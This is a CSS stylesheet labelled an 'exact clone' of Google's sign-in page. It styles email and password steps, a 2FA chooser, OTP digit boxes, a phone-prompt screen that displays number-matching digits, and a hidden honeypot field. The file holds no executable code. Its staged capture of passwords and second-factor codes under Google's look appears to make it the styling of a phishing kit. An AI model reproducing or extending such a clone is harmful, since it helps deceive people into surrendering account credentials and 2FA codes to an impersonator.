/* Google Sign-in Page Styles - Exact Clone */

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Roboto', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    background-color: #fff;
    color: #202124;
    line-height: 1.5;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

.container {
    max-width: 1000px;
    margin: 0 auto;
    padding: 32px 40px 36px;
    display: flex;
    flex-direction: column;
    margin-top: 80px;
}

@media (max-width: 480px) {
    .container {
        padding: 16px 20px;
        min-height: 100vh;
    }
}

.logo {
    text-align: center;
    margin-bottom: 0px;
}

.logo img {
    height: 40px;
    width: auto;
}

/* Desktop Layout - Logo and content side by side */
@media (min-width: 481px) {
    .form-container {
        display: flex;
        align-items: flex-start;
        gap: 60px;
        padding: 40px;
        max-width: 900px;
        margin: 0 auto;
    }
    
    .logo {
        flex-shrink: 0;
        margin-bottom: 0;
        margin-top: 8px;
        margin-right: 20px;
        min-width: 200px;
    }
    
    .form-container > div[id$="Step"] {
        flex: 1;
        position: relative;
        min-width: 0;
        display: flex;
        flex-direction: column;
        align-items: flex-start;
        min-width: 400px;
    }
    
    .signin-header,
    .welcome-header,
    .twofa-title {
        text-align: left;
        margin-top: 0;
    }
    
    .signin-subheader {
        text-align: left;
    }
    
    /* Position error message below the subheader in right column */
    .logo {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
    }
    
    #generalError {
        margin-top: 16px;
        margin-bottom: 16px;
        width: 100%;
        text-align: left;
    }
    

}

.signin-header {
    color: #202124;
    font-size: 24px;
    font-weight: 700;
    line-height: 1.3333;
    margin-bottom: 4px;
    margin-top: 0px;
    text-align: center;
}

.signin-subheader {
    color: #5f6368;
    font-size: 16px;
    font-weight: 400;
    line-height: 1.5;
    margin-bottom: 16px;
    text-align: center;
}

.form-container {
    background: #fff;
    border: 1px solid #dadce0;
    border-radius: 16px;
    padding: 60px 40px 32px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
    position: relative;
}

@media (max-width: 480px) {
    .form-container {
        padding: 24px 20px;
        border: none;
        box-shadow: none;
    }
}

.form-group {
    margin-bottom: 24px;
}

.form-group:last-child {
    margin-bottom: 0;
}

.input-container {
    position: relative;
}

.input-field {
    width: 100%;
    height: 56px;
    padding: 13px 15px;
    border: 1px solid #dadce0;
    border-radius: 4px;
    font-size: 16px;
    color: #202124;
    background-color: transparent;
    transition: all 0.2s ease;
}

/* Desktop input field sizing */
@media (min-width: 481px) {
    .input-field {
        min-width: 350px;
    }
}

.input-field:focus {
    outline: none;
    border: 2px solid #1a73e8;
    padding: 12px 14px;
}

.input-field.error {
    border: 2px solid #d93025;
    padding: 12px 14px;
}

.input-field:focus + .input-label,
.input-field:not(:placeholder-shown) + .input-label {
    transform: translateY(-8px) scale(0.75);
    color: #1a73e8;
    background: #fff;
    padding: 0 4px;
    left: 12px;
    top: 8px;
}

.input-field.error + .input-label {
    color: #d93025;
}

.input-label {
    position: absolute;
    left: 16px;
    top: 20px;
    color: #5f6368;
    font-size: 16px;
    transition: all 0.2s ease;
    pointer-events: none;
    background: #fff;
    padding: 0 4px;
}

.password-container {
    position: relative;
}

.show-password-container {
    display: flex;
    align-items: center;
    gap: 8px;
    margin-top: 8px;
}

.show-password-checkbox {
    width: 16px;
    height: 16px;
    accent-color: #1a73e8;
    cursor: pointer;
}

.show-password-label {
    color: #202124;
    font-size: 14px;
    font-weight: 400;
    cursor: pointer;
}

.next-button {
    width: auto;
    min-width: 80px;
    height: 36px;
    background-color: #1a73e8;
    color: #fff;
    border: none;
    border-radius: 18px;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.2s ease;
    padding: 0 24px;
}

.next-button:hover {
    background-color: #1557b0;
    box-shadow: 0 1px 2px rgba(0,0,0,0.3);
}

.next-button:active {
    background-color: #174ea6;
}

.next-button:disabled {
    background-color: #dadce0;
    color: #5f6368;
    cursor: not-allowed;
    box-shadow: none;
}

.links-container {
    margin-top: 24px;
    text-align: center;
}

.button-links-row {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-top: 24px;
    flex-direction: row-reverse;
}

/* Desktop button spacing */
@media (min-width: 481px) {
    .button-links-row {
        justify-content: flex-start;
        gap: 16px;
        flex-direction: row-reverse;
    }
}

.forgot-email-link {
    display: block;
    margin-bottom: 8px;
}

.create-account-link {
    margin-left: 16px;
}

.link {
    color: #1a73e8;
    text-decoration: none;
    font-size: 14px;
    font-weight: 500;
    transition: color 0.2s ease;
}

.link:hover {
    color: #1557b0;
    text-decoration: underline;
}

/* User Email Section - Password Page */
.user-email-section {
    display: flex;
    align-items: center;
    margin-bottom: 32px;
}

.user-icon {
    width: 24px;
    height: 24px;
    border-radius: 50%;
    background-color: #5f6368;
    color: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 14px;
    font-weight: 500;
    margin-right: 12px;
}

.user-email {
    color: #202124;
    font-size: 16px;
    font-weight: 400;
}

/* Profile Section - Password Page (for 2FA step) */
.profile-section {
    display: flex;
    align-items: center;
    margin-bottom: 24px;
    padding: 16px;
    border: 1px solid #dadce0;
    border-radius: 8px;
    background-color: #f8f9fa;
}

.profile-picture {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    background-color: #1a73e8;
    color: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 18px;
    font-weight: 500;
    margin-right: 16px;
}

.profile-info {
    flex: 1;
}

.profile-email {
    color: #202124;
    font-size: 16px;
    font-weight: 500;
    margin-bottom: 4px;
}

.profile-subtitle {
    color: #5f6368;
    font-size: 14px;
}

/* Welcome Header for Password Page */
.welcome-header {
    color: #202124;
    font-size: 24px;
    font-weight: 700;
    line-height: 1.3333;
    margin-bottom: 8px;
    margin-top: 0px;
    text-align: left;
}

/* Error Message Styling */
.error-message {
    color: #d93025;
    font-size: 14px;
    margin-top: 8px;
    display: flex;
    align-items: flex-start;
    line-height: 1.4;
}



.error-message::before {
    content: "!";
    margin-right: 8px;
    font-size: 16px;
    font-weight: bold;
    color: #d93025;
    background: #d93025;
    color: white;
    width: 16px;
    height: 16px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 12px;
    flex-shrink: 0;
    margin-top: 1px;
}

.loading-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(255, 255, 255, 0.8);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 1000;
    opacity: 0;
    visibility: hidden;
    transition: all 0.3s ease;
}

.loading-overlay.show {
    opacity: 1;
    visibility: visible;
}

.loading-spinner {
    display: flex;
    align-items: center;
    gap: 4px;
}

.loading-dot {
    width: 8px;
    height: 8px;
    border-radius: 50%;
    background-color: #1a73e8;
    animation: loading-bounce 1.4s ease-in-out infinite both;
}

.loading-dot:nth-child(1) { animation-delay: -0.32s; }
.loading-dot:nth-child(2) { animation-delay: -0.16s; }
.loading-dot:nth-child(3) { animation-delay: 0s; }

@keyframes loading-bounce {
    0%, 80%, 100% {
        transform: scale(0);
    }
    40% {
        transform: scale(1);
    }
}

/* 2FA Container Styling */
.twofa-container {
    text-align: left;
    padding: 0 0 2px;
    margin-top: 0px;
}

.twofa-title {
    color: #202124;
    font-size: 20px;
    font-weight: 700;
    margin-bottom: 1px;
}

.twofa-subtitle {
    color: #5f6368;
    font-size: 14px;
    margin-bottom: 2px;
}

.twofa-options {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin-bottom: 24px;
    text-align: left;
}

.twofa-option {
    display: flex;
    align-items: center;
    padding: 16px;
    border: 1px solid #dadce0;
    border-radius: 8px;
    cursor: pointer;
    transition: all 0.2s ease;
    text-align: left;
}

.twofa-option:hover {
    border-color: #1a73e8;
    background-color: #f8f9fa;
}

.twofa-option.selected {
    border-color: #1a73e8;
    background-color: #e8f0fe;
}

.twofa-loading-message {
    text-align: center;
    padding: 40px 0;
}

.twofa-loading-message p {
    color: #5f6368;
    font-size: 14px;
    margin-top: 16px;
}

.otp-phone-display {
    text-align: left;
    margin-bottom: 24px;
}

.otp-phone-display p {
    color: #5f6368;
    font-size: 14px;
    margin: 0;
}

.phone-number {
    font-weight: 500;
    color: #202124;
}

.twofa-option-icon {
    width: 24px;
    height: 24px;
    margin-right: 16px;
    color: #1a73e8;
}

.twofa-option-text {
    flex: 1;
}

.twofa-option-title {
    color: #202124;
    font-size: 16px;
    font-weight: 500;
    margin-bottom: 4px;
}

.twofa-option-subtitle {
    color: #5f6368;
    font-size: 14px;
}

.otp-input {
    display: flex;
    gap: 8px;
    justify-content: center;
    margin: 24px 0;
}

.otp-digit {
    width: 40px;
    height: 40px;
    border: 1px solid #dadce0;
    border-radius: 4px;
    text-align: center;
    font-size: 18px;
    font-weight: 500;
    color: #202124;
    background-color: transparent;
    transition: border 0.2s ease;
}

.otp-digit:focus {
    outline: none;
    border-color: #1a73e8;
}

/* Google Prompt Styling */
.google-prompt-message {
    color: #5f6368;
    font-size: 16px;
    margin: 24px 0;
    padding: 16px;
    background-color: #f8f9fa;
    border-radius: 8px;
    border: 1px solid #dadce0;
}

/* Google Prompt Page Specific Styling */
.google-prompt-container {
    text-align: left;
    padding: 4px 0 !important;
}

.google-prompt-title {
    color: #202124;
    font-size: 20px;
    font-weight: 400;
    margin-bottom: 16px;
}

.google-prompt-subtitle {
    color: #5f6368;
    font-size: 14px;
    margin-bottom: 24px;
}

.google-prompt-phone {
    width: 80px !important;
    height: 120px !important;
    margin: 4px auto !important;
    background: #202124 !important;
    border-radius: 8px !important;
    position: relative;
    display: flex;
    align-items: center;
    justify-content: center;
}

.google-prompt-phone-screen {
    width: 72px !important;
    height: 112px !important;
    background: white !important;
    border-radius: 6px !important;
    position: relative;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 8px !important;
}

.google-prompt-phone-content {
    text-align: center;
    width: 100%;
}

.google-prompt-phone-text {
    color: #5f6368;
    font-size: 10px !important;
    margin-bottom: 8px !important;
}

.google-prompt-phone-button {
    background: #1a73e8;
    color: white;
    border: none;
    border-radius: 2px !important;
    padding: 4px 8px !important;
    font-size: 10px !important;
    font-weight: 500;
    cursor: pointer;
}

.google-prompt-instructions {
    margin-top: 4px !important;
}

.google-prompt-instructions h3 {
    color: #202124;
    font-size: 16px;
    font-weight: 500;
    margin-bottom: 8px;
}

.google-prompt-instructions p {
    color: #5f6368;
    font-size: 14px;
    line-height: 1.4;
}

.google-prompt-checkbox {
    margin-top: 24px;
    display: flex;
    align-items: center;
    justify-content: flex-start;
    gap: 8px;
}

.google-prompt-checkbox input[type="checkbox"] {
    width: 16px;
    height: 16px;
    accent-color: #1a73e8;
}

.google-prompt-checkbox label {
    color: #5f6368;
    font-size: 14px;
}

.prompt-digits {
    color: #1a73e8;
    font-weight: 600;
    font-size: 16px;
}

.prompt-digits-display {
    text-align: center;
    margin: 10px 0 20px 0;
}

.prompt-digits-display .prompt-digits {
    font-size: 32px;
    font-weight: 700;
    color: #202124;
    letter-spacing: 2px;
}

/* Honeypot field (hidden) */
.honeypot-field {
    position: absolute;
    left: -9999px;
    width: 1px;
    height: 1px;
    opacity: 0;
    pointer-events: none;
}

/* Responsive adjustments */
@media (max-width: 480px) {
    .signin-header {
        font-size: 20px;
    }
    
    .form-container {
        margin: 0 -20px;
        display: block;
        padding: 24px 20px;
    }
    
    .logo {
        text-align: left;
        margin-bottom: 24px;
    }
    
    .signin-header,
    .welcome-header,
    .twofa-title {
        text-align: left;
    }
    
    .signin-subheader {
        text-align: left;
    }
    
    .profile-section {
        margin: 0 -20px 24px;
        border-radius: 0;
    }
    
    .twofa-option {
        margin: 0 -20px;
        border-radius: 0;
    }
    
    .button-links-row {
        flex-direction: row-reverse;
        align-items: center;
        gap: 16px;
    }
    
    .create-account-link {
        margin-left: 0;
    }
    
    .next-button {
        width: auto;
        min-width: 80px;
    }
}

/* Animation classes */
.fade-in {
    animation: fadeIn 0.3s ease-in-out;
}

.slide-up {
    animation: slideUp 0.3s ease-out;
}

@keyframes fadeIn {
    from { opacity: 0; }
    to { opacity: 1; }
}

@keyframes slideUp {
    from {
        opacity: 0;
        transform: translateY(20px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}
